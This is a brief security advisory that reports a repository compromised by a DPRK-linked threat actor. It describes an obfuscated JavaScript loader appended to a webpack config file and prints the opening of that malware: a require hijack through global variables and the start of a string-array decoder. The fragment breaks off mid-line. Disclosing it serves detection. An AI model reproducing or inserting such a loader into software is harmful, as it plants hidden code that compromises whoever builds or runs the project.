GCVE-110-OSM-2022-50

Repository compromised by the PolinRider DPRK threat actor (Lazarus, Contagious Interview cluster). Obfuscated JavaScript payload appended to legitimate config file demo/OLD-js-tree-demo/webpack.config.js, using marker global['_V']. Consistent with known PolinRider architecture: string-array shuffle decoder, require() hijack via global assignment, and a second-stage loader fetched through the decoded payload. Malicious payload found in: demo/OLD-js-tree-demo/webpack.config.js Marker: global['_V'] Pattern: obfuscated JS payload appended after legitimate config file content. String-array shuffle decoder + global[] require hijack, consistent with PolinRider architecture. Snippet: global['_V']='A4';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var tLM='',xcg=984-973;function YWG(x){var w=2540575;var v=x.length;var f=[];for(var h=0;h<v;h++){f[h]=x.charAt(h)};for(var h=0;h<v;h++){var e=w*(h+181)+